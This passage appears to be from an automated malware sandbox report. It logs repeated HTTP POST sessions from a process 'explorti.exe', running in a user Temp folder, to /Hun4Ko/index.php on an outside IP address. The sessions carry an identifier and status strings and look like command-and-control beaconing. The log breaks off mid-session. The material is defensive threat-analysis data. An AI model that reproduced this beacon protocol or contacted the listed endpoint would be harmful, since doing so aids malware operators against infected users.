Jul 4, 2024 00:00:41.840610981 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 33 32 43 37 33 42 38 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB32C73B85F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 4, 2024 00:00:42.588346958 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 03 Jul 2024 22:00:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.4	49826	77.91.77.82	80	7564	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 00:00:42.709661007 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 4, 2024 00:00:43.420589924 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 03 Jul 2024 22:00:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.4	49827	77.91.77.82	80	7564	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 00:00:43.431628942 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 33 32 43 37 33 42 38 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB32C73B85F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 4, 2024 00:00:44.143651962 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 03 Jul 2024 22:00:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.4	49828	77.91.77.82	80	7564	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 00:00:44.292118073 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 4, 2024 00:00:45.014018059 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 03 Jul 2024 22:00:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.4	49829	77.91.77.82	80	7564	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 00:00:45.030983925 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 33 32 43 37 33 42 38 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB32C73B85F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 4, 2024 00:00:45.758064985 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 03 Jul 2024 22:00:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.4	49830	77.91.77.82	80	7564	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 00:00:45.876178026 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 4, 2024 00:00:46.580185890 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 03 Jul 2024 22:00:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.4	49831	77.91.77.82	80	7564	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 00:00:46.588923931 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 33 32 43 37 33 42 38 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB32C73B85F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 4, 2024 00:00:47.284645081 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 03 Jul 2024 22:00:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.4	49832	77.91.77.82	80	7564	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 00:00:47.406161070 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 4, 2024 00:00:48.143874884 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 03 Jul 2024 22:00:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.4	49833	77.91.77.82	80	7564	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 00:00:48.154158115 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 33 32 43 37 33 42 38 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB32C73B85F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 4, 2024 00:00:48.877268076 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 03 Jul 2024 22:00:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.4	49834	77.91.77.82	80	7564	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 00:00:49.016149044 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 4, 2024 00:00:49.732397079 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 03 Jul 2024 22:00:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.4	49835	77.91.77.82	80	7564	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 00:00:49.769910097 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 33 32 43 37 33 42 38 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB32C73B85F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 4, 2024 00:00:50.460355043 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 03 Jul 2024 22:00:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.4	49836	77.91.77.82	80	7564	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 00:00:50.577361107 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 4, 2024 00:00:51.273792982 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 03 Jul 2024 22:00:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.4	49837	77.91.77.82	80	7564	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 00:00:51.283874035 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 33 32 43 37 33 42 38 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB32C73B85F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 4, 2024 00:00:51.999924898 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 03 Jul 2024 22:00:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.4	49838	77.91.77.82	80	7564	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 00:00:52.109193087 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 4, 2024 00:00:52.805296898 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 03 Jul 2024 22:00:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.4	49839	77.91.77.82	80	7564	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 00:00:52.816780090 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 33 32 43 37 33 42 38 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB32C73B85F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 4, 2024 00:00:53.599561930 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 03 Jul 2024 22:00:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.2.4	49840	77.91.77.82	80	7564	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 00:00:53.720213890 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 4, 2024 00:00:54.415404081 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 03 Jul 2024 22:00:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.2.4	49841	77.91.77.82	80	7564	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 00:00:54.427643061 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 33 32 43 37 33 42 38 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB32C73B85F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 4, 2024 00:00:55.152555943 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 03 Jul 2024 22:00:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
100	192.168.2.4	49842	77.91.77.82	80	7564	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 00:00:55.273776054 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 4, 2024 00:00:56.019861937 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 03 Jul 2024 22:00:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
101	192.168.2.4	49843	77.91.77.82	80	7564	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 00:00:56.030397892 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 33 32 43 37 33 42 38 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB32C73B85F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 4, 2024 00:00:56.728523970 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 03 Jul 2024 22:00:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.4	49844	77.91.77.82	80	7564	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 00:00:56.848083019 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 4, 2024 00:00:57.560581923 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 03 Jul 2024 22:00:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.4	49845	77.91.77.82	80	7564	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 00:00:57.570327044 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 33 32 43 37 33 42 38 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB32C73B85F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 4, 2024 00:00:58.282495975 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 03 Jul 2024 22:00:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
104	192.168.2.4	49846	77.91.77.82	80	7564	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 00:00:58.408741951 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 4, 2024 00:00:59.135302067 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 03 Jul 2024 22:00:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
105	192.168.2.4	49847	77.91.77.82	80	7564	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 00:00:59.148013115 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 33 32 43 37 33 42 38 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB32C73B85F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 4, 2024 00:00:59.848582029 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 03 Jul 2024 22:00:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
106	192.168.2.4	49848	77.91.77.82	80	7564	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
